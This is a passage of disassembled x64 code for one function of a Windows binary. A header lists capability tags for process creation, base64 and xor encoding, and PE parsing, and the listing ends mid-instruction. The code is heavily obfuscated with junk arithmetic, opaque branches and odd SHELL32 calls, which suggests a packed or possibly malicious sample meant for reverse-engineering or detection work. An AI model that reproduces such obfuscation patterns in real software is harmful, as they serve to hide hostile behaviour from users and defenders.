Function at 0x140004d80
Capabilities:
Create process on windows
Encode data using base64
Encode data using xor
Parse pe header

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x349b8
call fcn.140249da0
sub rsp, rax
mov eax, 0x2fb
mov word [rsp + 0x152c], ax
movabs rax, 0x78f69ea928c196
mov qword [rsp + 0xb9b0], rax
mov dword [rsp + 0x6880], 0xb4ef
mov dword [rsp + 0x6884], 0x82d1
mov byte [rsp + 0x50], 5
mov eax, 0x195
mov word [rsp + 0x1530], ax
movzx eax, word [rsp + 0x152c]
mov word [rsp + 0x1534], ax
movzx eax, word [rsp + 0x1534]
movzx ecx, word [rsp + 0x152c]
add eax, ecx
mov word [0x1402c748c], ax
movzx eax, word [rsp + 0x152c]
movzx ecx, word [rsp + 0x1534]
sub eax, ecx
movzx ecx, word [0x1402c748c]
cmp eax, ecx
jg 0x140004f56
lea rax, [rsp + 0xb9b0]
mov qword [rsp + 0xb9b8], rax
mov dword [rsp + 0x6888], 0xf900
movsx eax, word [rsp + 0x1530]
mov dword [rsp + 0x688c], eax
cmp dword [rsp + 0x688c], 0x195
je 0x140004e70
jmp 0x140004f35
mov byte [rsp + 0x51], 0x60
mov dword [rsp + 0x6890], 0x304a
movsx eax, word [rsp + 0x1530]
mov dword [rsp + 0x6894], eax
cmp dword [rsp + 0x6894], 0x210
je 0x140004eae
cmp dword [rsp + 0x6894], 0x6ea
je 0x140004f25
jmp 0x140004f33
movsx eax, word [rsp + 0x1530]
and eax, 0x2f1
mov word [rsp + 0x1530], ax
mov dword [rsp + 0x20], SHDoDragDrop
lea r9, [rsp + 0x6898]
mov r8d, 0xb3
lea rdx, [rsp + 0xb9b0]
lea rcx, [rsp + 0x51]
call qword [sym.imp.SHELL32.dll_SHGetDataFromIDListW]
mov dword [rsp + 0x6898], eax
mov rax, qword [rsp + 0xb9b0]
shl rax, 0xc
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x152c]
movzx ecx, word [0x1402c748c]
sar eax, cl
mov word [rsp + 0x1534], ax
jmp 0x140004f33
movzx eax, byte [rsp + 0x51]
xor eax, 0xbd
mov byte [rsp + 0x51], al
jmp 0x140004f56
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [rsp + 0xb9b0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
mov dword [rsp + 0x689c], 0x5d45
mov dword [0x1402c90a0], 0x1828
mov eax, dword [0x1402c90a0]
mov dword [rsp + 0x68a0], eax
mov eax, dword [rsp + 0x68a0]
mov dword [rsp + 0x68a4], eax
cmp dword [rsp + 0x68a4], 0x2ed6
je 0x140004f95
jmp 0x140004fe4
mov rdx, qword [rsp + 0xb9c0]
mov rcx, qword [rsp + 0xb9c8]
call qword [sym.imp.SHELL32.dll_DuplicateIcon]
mov qword [rsp + 0xb9d0], rax
movzx eax, word [rsp + 0x1534]
mov word [rsp + 0x20], ax
mov r9d, dword [rsp + 0x68a0]
mov r8, qword [rsp + 0xb9b0]
movzx edx, byte [rsp + 0x50]
movzx ecx, word [rsp + 0x1530]
call fcn.140249b70
jmp 0x14000504f
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0x68a8], al
cmp byte [rsp + 0x68a8], 0xee
je 0x140004ffc
jmp 0x14000504f
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [rsp + 0xb9b0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb9b8]
movabs rcx, 0x78646ecab0bd69
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb9b0], rax
mov eax, dword [0x1402c90a0]
and eax, 0x75a1
mov dword [rsp + 0x68a0], eax
movabs rax, 0x71b3b1481200de
mov qword [rsp + 0xb9d8], rax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x68ac], al
cmp byte [rsp + 0x68ac], 0x35
je 0x14000509a
cmp byte [rsp + 0x68ac], 0x3b
je 0x140005083
jmp 0x1400050ed
lea rcx, [rsp + 0x34570]
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov dword [rsp + 0x68b0], eax
jmp 0x1400050ed
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [rsp + 0xb9b0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x152c]
mov word [rsp + 0x20], ax
mov r9d, dword [rsp + 0x68a0]
mov rax, qword [rsp + 0xb9b8]
mov r8, qword [rax]
movzx edx, byte [rsp + 0x50]
movzx ecx, word [rsp + 0x1530]
call fcn.140249b70
lea rax, [rsp + 0xb9d8]
mov qword [rsp + 0xb9e0], rax
mov eax, dword [rsp + 0x68b0]
mov dword [rsp + 0x68b4], eax
cmp dword [rsp + 0x68b4], 0
je 0x14000512b
cmp dword [rsp + 0x68b4], 0x5f46
je 0x14000520c
jmp 0x14000528e
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x68b8], al
cmp byte [rsp + 0x68b8], 5
je 0x140005146
jmp 0x1400051c8
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x52], al
movsx eax, word [rsp + 0x1530]
mov dword [rsp + 0x68bc], eax
cmp dword [rsp + 0x68bc], 0x6e6
je 0x14000516d
jmp 0x1400051c6
movzx eax, word [rsp + 0x1534]
movzx ecx, word [0x1402c748c]
add eax, ecx
mov word [rsp + 0x152c], ax
movzx eax, byte [rsp + 0x51]
add eax, 0x83
mov byte [rsp + 0x51], al
movsx eax, word [rsp + 0x1530]
sub eax, 0x3a9
mov word [rsp + 0x1530], ax
lea rdx, [rsp + 0x34570]
lea rcx, [rsp + 0xb9e0]
call qword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [rsp + 0x68c0], eax
jmp 0x1400051fc
mov rax, qword [rsp + 0xb9b0]
mov rcx, qword [rsp + 0xb9b8]
mov qword [rsp + 0xb9e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb9e8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
mov dword [rsp + 0x68c4], 0xb22f
jmp 0x14000528e
movzx eax, word [rsp + 0x152c]
mov word [rsp + 0x20], ax
mov r9d, dword [rsp + 0x68a0]
mov r8, qword [rsp + 0xb9b0]
movzx edx, byte [rsp + 0x50]
movzx ecx, word [rsp + 0x1530]
call fcn.140249b70
movabs rax, 0x7e4fcc73e5f022
mov rcx, qword [rsp + 0xb9b0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
mov eax, dword [0x1402c90a0]
shr eax, 0x15
mov dword [rsp + 0x68a0], eax
mov rax, qword [rsp + 0xb9e0]
movabs rcx, 0x7343c1fcae0b5e
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb9d8], rax
mov dword [rsp + 0x68c8], 0x20e
movzx eax, word [rsp + 0x152c]
mov word [rsp + 0x1538], ax
mov dword [rsp + 0x68cc], 0xaef8
movzx eax, word [rsp + 0x1534]
movzx ecx, word [rsp + 0x152c]
and eax, ecx
mov word [0x1402c748c], ax
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [rsp + 0xb9b0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x51]
sub eax, 0x36
mov byte [rsp + 0x51], al
movabs rax, 0x78fab157ed59a8
mov rcx, qword [rsp + 0xb9b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
movabs rax, 0x75b1d890349131
mov rcx, qword [rsp + 0xb9d8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [rsp + 0xb9b0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
mov eax, dword [0x1402c90a0]
sub eax, 0x9b91
mov dword [rsp + 0x68a0], eax
mov rax, qword [rsp + 0xb9e0]
mov rcx, qword [rsp + 0xb9d8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb9e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb9e0]
mov rcx, qword [rsp + 0xb9d8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb9e0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x68a0]
sub eax, 0x47da
mov dword [0x1402c90a0], eax
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [rsp + 0xb9b0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6888]
sub eax, 0xed
mov dword [rsp + 0x6888], eax
mov dword [rsp + 0x68b0], 0x1bd8
mov rax, qword [rsp + 0xb9d8]
sar rax, 0x39
mov rcx, qword [rsp + 0xb9e0]
mov qword [rcx], rax
mov eax, dword [0x1402c90a0]
shl eax, 0xf
mov dword [rsp + 0x68a0], eax
mov rax, qword [rsp + 0xb9b8]
movabs rcx, 0x7296f3b4fecca6
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb9b0], rax
movsx eax, word [rsp + 0x1530]
and eax, 0x6de
mov word [rsp + 0x1530], ax
movabs rax, 0x759cdce3100439
mov rcx, qword [rsp + 0xb9b0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1534]
movzx ecx, word [rsp + 0x152c]
sub eax, ecx
mov word [rsp + 0x1538], ax
movzx eax, word [rsp + 0x152c]
movzx ecx, word [rsp + 0x1534]
add eax, ecx
mov word [0x1402c748c], ax
movsx eax, byte [rsp + 0x52]
sub eax, 0xe
mov byte [rsp + 0x50], al
mov eax, dword [0x1402c90a0]
sub eax, 0xf1a9
mov dword [rsp + 0x68a0], eax
mov rax, qword [rsp + 0xb9e0]
movabs rcx, 0x753dcf63b5b6b1
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb9d8], rax
cmp dword [rsp + 0x6888], 0xe4a2
jae 0x1400052b4
mov eax, dword [rsp + 0x68b0]
mov dword [rsp + 0x68d0], eax
cmp dword [rsp + 0x68d0], 0x1bd8
je 0x140005538
cmp dword [rsp + 0x68d0], 0x7d31
je 0x140249a70
jmp 0x140249a91
mov rax, qword [rsp + 0xb9b8]
mov rax, qword [rax]
mov qword [rsp + 0xb9f0], rax
movabs rax, 0xe833d0980ed0df
cmp qword [rsp + 0xb9f0], rax
je 0x140005564
jmp 0x1402499bb
movabs rax, 0x7ddd0a77e3d757
mov rcx, qword [rsp + 0xb9b0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9b8]
cmp rax, qword [rcx]
je 0x140005697
cmp dword [rsp + 0x68b0], 0x575e
jge 0x14000565f
mov eax, dword [rsp + 0x68a0]
mov dword [rsp + 0x68d4], eax
mov rax, qword [rsp + 0xb9b8]
mov rax, qword [rax]
mov qword [rsp + 0xb9f8], rax
movabs rax, 0x71e96750a31291
cmp qword [rsp + 0xb9f8], rax
je 0x14000563e
movabs rax, 0xe833d0980ed0df
cmp qword [rsp + 0xb9f8], rax
je 0x1400055e9
jmp 0x14000565f
mov eax, dword [rsp + 0x68b0]
mov dword [rsp + 0x68d8], eax
lea rax, [rsp + 0xb9d8]
mov qword [rsp + 0xba00], rax
mov rax, qword [rsp + 0xb9b0]
mov qword [rsp + 0xba08], rax
movzx eax, word [0x1402c748c]
imul eax, eax, 0x85a
mov word [rsp + 0x152c], ax
lea rax, [rsp + 0x1530]
mov qword [rsp + 0xba10], rax
jmp 0x14000565f
mov r9d, dword [rsp + 0x68b0]
mov r8d, dword [rsp + 0x68d8]
movzx edx, byte [rsp + 0x51]
mov ecx, dword [rsp + 0x68a0]
call fcn.140249c90
lea rax, [rsp + 0x51]
mov qword [rsp + 0xba18], rax
mov dword [rsp + 0x68dc], 0xa3e0
mov rax, qword [rsp + 0xb9b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xba08]
sub rcx, rax
mov rax, rcx
mov qword [0x1402c7490], rax
mov eax, dword [rsp + 0x68d4]
mov dword [rsp + 0x68e0], eax
cmp dword [rsp + 0x68e0], 0xaaf1
je 0x1400056b4
jmp 0x1400056d1
mov eax, dword [0x1402c90a0]
mov ecx, dword [rsp + 0x68a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68d4], eax
jmp 0x14024995f
mov eax, dword [rsp + 0x68d8]
mov dword [rsp + 0x68e4], eax
mov rax, qword [rsp + 0xba00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9e0]
cmp rax, qword [rcx]
jg 0x1402498d4
lea rax, [rsp + 0x1530]
mov qword [rsp + 0xba20], rax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
add eax, ecx
mov rcx, qword [rsp + 0xba18]
mov byte [rcx], al
movzx eax, word [rsp + 0x1534]
movzx ecx, word [rsp + 0x1538]
or eax, ecx
mov word [0x1402c748c], ax
movsx eax, byte [rsp + 0x52]
sar eax, 3
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0xba10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba20]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1530], ax
mov eax, dword [rsp + 0x68b0]
movzx ecx, al
mov eax, dword [rsp + 0x68e4]
shl eax, cl
mov dword [rsp + 0x68d8], eax
mov eax, dword [0x1402c90a0]
mov ecx, dword [rsp + 0x68d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68a0], eax
mov rax, qword [rsp + 0xb9e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9d8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xba00]
mov qword [rcx], rax
mov rax, qword [rsp + 0xba08]
mov rcx, qword [rsp + 0xb9b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x50]
add eax, 0xb
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0xba20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba10]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1530], ax
movzx eax, word [rsp + 0x1538]
movzx ecx, word [rsp + 0x1534]
sub eax, ecx
mov word [0x1402c748c], ax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
add eax, ecx
mov rcx, qword [rsp + 0xba18]
mov byte [rcx], al
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
sub eax, 0xe3
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0xba00]
mov rcx, qword [rsp + 0xb9e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb9d8], rax
mov eax, dword [rsp + 0x68e4]
mov ecx, dword [rsp + 0x68d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x68b0], eax
mov eax, dword [0x1402c90a0]
movzx ecx, al
mov eax, dword [rsp + 0x68d4]
shl eax, cl
mov dword [rsp + 0x68a0], eax
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [rsp + 0xb9b0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1530]
mov rcx, qword [rsp + 0xba20]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xba10]
mov word [rcx], ax
movsx eax, word [rsp + 0x1530]
mov rcx, qword [rsp + 0xba20]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xba10]
mov word [rcx], ax
mov rax, qword [rsp + 0xb9e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9d8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xba00]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x51]
add eax, 0x27
mov rcx, qword [rsp + 0xba18]
mov byte [rcx], al
movsx eax, word [rsp + 0x1530]
mov rcx, qword [rsp + 0xba10]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xba20]
mov word [rcx], ax
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [rsp + 0xba08]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xba00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb9e0]
mov rcx, qword [rsp + 0xba00]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb9d8], rax
mov rax, qword [rsp + 0xba08]
mov rcx, qword [0x1402c7490]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb9b0], rax
movzx eax, word [rsp + 0x152c]
movzx ecx, word [rsp + 0x1538]
sub eax, ecx
mov word [rsp + 0x1534], ax
mov eax, dword [rsp + 0x6890]
add eax, 0x4e
mov dword [rsp + 0x6890], eax
movsx eax, byte [rsp + 0x50]
sub eax, 0x2e
mov byte [rsp + 0x52], al
movzx eax, word [rsp + 0x1538]
movzx ecx, word [rsp + 0x1534]
add eax, ecx
mov word [rsp + 0x152c], ax
movzx eax, word [rsp + 0x152c]
movzx ecx, word [rsp + 0x1538]
sub eax, ecx
mov word [0x1402c748c], ax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
shl eax, cl
mov rcx, qword [rsp + 0xba18]
mov byte [rcx], al
mov rax, qword [rsp + 0xb9b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xba08]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb9b0], rax
mov rax, qword [rsp + 0xba08]
mov rcx, qword [rsp + 0xb9b8]
mov qword [rsp + 0xba28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xba28]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xba00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9d8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9e0]
mov qword [rcx], rax
mov eax, dword [0x1402c90a0]
mov ecx, dword [rsp + 0x68a0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x68d4], eax
mov rax, qword [rsp + 0xba10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba20]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1530], ax
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [rsp + 0xb9b0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1530]
mov rcx, qword [rsp + 0xba10]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xba20]
mov word [rcx], ax
movzx eax, word [rsp + 0x1534]
movzx ecx, word [rsp + 0x152c]
add eax, ecx
mov word [0x1402c748c], ax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
add eax, 0xd6
mov byte [rsp + 0x51], al
movzx eax, word [rsp + 0x1538]
movzx ecx, word [rsp + 0x1534]
sub eax, ecx
mov word [rsp + 0x152c], ax
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [0x1402c7490]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb9b0], rax
cmp dword [rsp + 0x6890], 0x4e74
jne 0x140005719
mov eax, dword [rsp + 0x68e4]
mov ecx, dword [rsp + 0x68b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68d8], eax
mov rax, qword [rsp + 0xb9e0]
mov rcx, qword [rsp + 0xba00]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb9d8], rax
movsx eax, word [rsp + 0x1530]
mov rcx, qword [rsp + 0xba20]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xba10]
mov word [rcx], ax
movsx eax, word [rsp + 0x1530]
mov rcx, qword [rsp + 0xba10]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xba20]
mov word [rcx], ax
movsx eax, byte [rsp + 0x50]
sar eax, 2
mov byte [rsp + 0x52], al
movzx eax, word [rsp + 0x1538]
movzx ecx, word [rsp + 0x1534]
and eax, ecx
mov word [0x1402c748c], ax
mov rax, qword [rsp + 0xba00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xba20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba10]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1530], ax
mov eax, dword [rsp + 0x68b0]
mov ecx, dword [rsp + 0x68d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68e4], eax
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [rsp + 0xb9b0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xba08], rax
mov rax, qword [rsp + 0xba00]
mov rcx, qword [rsp + 0xb9e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xba00]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [rsp + 0xb9b0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb9b0]
mov rcx, qword [rsp + 0xba08]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6884]
sub eax, 0x9f
mov dword [rsp + 0x6884], eax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
sub eax, 0xd6
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0xb9b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xba08]
add rcx, rax
mov rax, rcx
mov qword [0x1402c7490], rax
movsx eax, byte [rsp + 0x52]
xor eax, 0x2e
mov byte [rsp + 0x50], al
movzx eax, byte [rsp + 0x51]
or eax, 0x1f
mov rcx, qword [rsp + 0xba18]
mov byte [rcx], al
mov rax, qword [rsp + 0xba08]
movzx ecx, al
mov rax, qword [rsp + 0xb9b0]
shr rax, cl
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xba00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9e0]
mov qword [rsp + 0xba30], rcx
movzx ecx, al
mov rax, qword [rsp + 0xba30]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb9d8], rax
cmp dword [rsp + 0x6884], 0x51c0
jae 0x140005be0
mov eax, dword [rsp + 0x68d8]
mov dword [rsp + 0x68e8], eax
cmp dword [rsp + 0x68e8], 0x1bd8
je 0x140005e5c
cmp dword [rsp + 0x68e8], 0x21c0
je 0x140005f91
jmp 0x140006039
mov eax, dword [rsp + 0x68b0]
mov dword [rsp + 0x68ec], eax
mov eax, dword [rsp + 0x68d8]
mov ecx, dword [rsp + 0x68ec]
and ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x68e4]
mov edx, dword [rsp + 0x68b0]
add edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140005f8c
mov eax, dword [rsp + 0x68ec]
mov dword [rsp + 0x68f0], eax
cmp dword [rsp + 0x68f0], 0
je 0x140005eb3
jmp 0x140005f6c
mov eax, dword [rsp + 0x68d4]
mov dword [rsp + 0x68f4], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x68f8], al
cmp byte [rsp + 0x68f8], 0x3a
je 0x140005edc
jmp 0x140005f6a
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
sub eax, 0x41
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0xba00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [rsp + 0xb9b0]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1402c7490], rax
lea rax, [rsp + 0xb9d8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x7a
mov r9d, 0xa0
mov r8d, ILGetNext
mov edx, ILCreateFromPathW
mov rcx, qword [rsp + 0xba38]
call qword [sym.imp.SHELL32.dll_SHChangeNotifyRegister]
mov dword [rsp + 0x68fc], eax
jmp 0x140005f8c
mov rax, qword [rsp + 0xba10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1530]
sub eax, ecx
mov rcx, qword [rsp + 0xba10]
mov word [rcx], ax
jmp 0x140006039
movsx eax, byte [rsp + 0x50]
and eax, 0x73
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0xba00]
mov rcx, qword [rsp + 0xb9e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb9d8], rax
mov r8, qword [rsp + 0xba40]
mov rdx, qword [rsp + 0xba40]
mov rcx, qword [rsp + 0xba48]
call qword [sym.imp.SHELL32.dll_FindExecutableW]
mov qword [rsp + 0xba50], rax
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [rsp + 0xba08]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
movzx eax, word [0x1402c748c]
mov word [rsp + 0x20], ax
mov r9d, dword [rsp + 0x68f4]
mov rax, qword [rsp + 0xb9b8]
mov r8, qword [rax]
movzx edx, byte [rsp + 0x50]
mov rax, qword [rsp + 0xba20]
movzx ecx, word [rax]
call fcn.140249b70
mov eax, dword [rsp + 0x68d4]
mov ecx, dword [rsp + 0x68fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68f4], eax
mov eax, dword [rsp + 0x68d8]
mov dword [rsp + 0x6900], eax
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0x53], al
mov dword [rsp + 0x6904], 0x6284
movzx eax, word [rsp + 0x1538]
movzx ecx, word [rsp + 0x152c]
shl eax, cl
mov word [rsp + 0x1534], ax
mov rax, qword [rsp + 0xba10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba20]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xba10]
mov word [rcx], ax
mov eax, dword [rsp + 0x68dc]
add eax, 0xf9
mov dword [rsp + 0x68dc], eax
movsx eax, byte [rsp + 0x52]
sar eax, 5
mov byte [rsp + 0x50], al
movzx eax, word [rsp + 0x152c]
movzx ecx, word [rsp + 0x1534]
or eax, ecx
mov word [rsp + 0x1538], ax
mov rax, qword [rsp + 0xba00]
mov rcx, qword [rsp + 0xb9e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb9d8], rax
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [rsp + 0xb9b0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xba08], rax
mov rax, qword [rsp + 0xb9e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xba00]
mov qword [rcx], rax
mov eax, dword [rsp + 0x68ec]
mov ecx, dword [rsp + 0x6900]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68b0], eax
movsx eax, byte [rsp + 0x52]
add eax, 0x21
mov byte [rsp + 0x50], al
movsx eax, word [rsp + 0x1530]
mov rcx, qword [rsp + 0xba20]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xba10]
mov word [rcx], ax
mov eax, dword [rsp + 0x68fc]
mov ecx, dword [rsp + 0x68f4]
add ecx, eax
mov eax, ecx
mov dword [0x1402c90a0], eax
movzx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0xba18]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x53], al
movzx eax, word [rsp + 0x1534]
movzx ecx, word [rsp + 0x152c]
sub eax, ecx
mov word [rsp + 0x1538], ax
mov eax, dword [rsp + 0x6900]
mov ecx, dword [rsp + 0x68e4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x68d8], eax
mov rax, qword [rsp + 0xb9b0]
movzx ecx, al
mov rax, qword [rsp + 0xba08]
shl rax, cl
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xba00]
mov rcx, qword [rsp + 0xb9e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb9d8], rax
mov rax, qword [rsp + 0xba00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9e0]
mov qword [rsp + 0xba58], rcx
movzx ecx, al
mov rax, qword [rsp + 0xba58]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xb9e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xba10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba20]
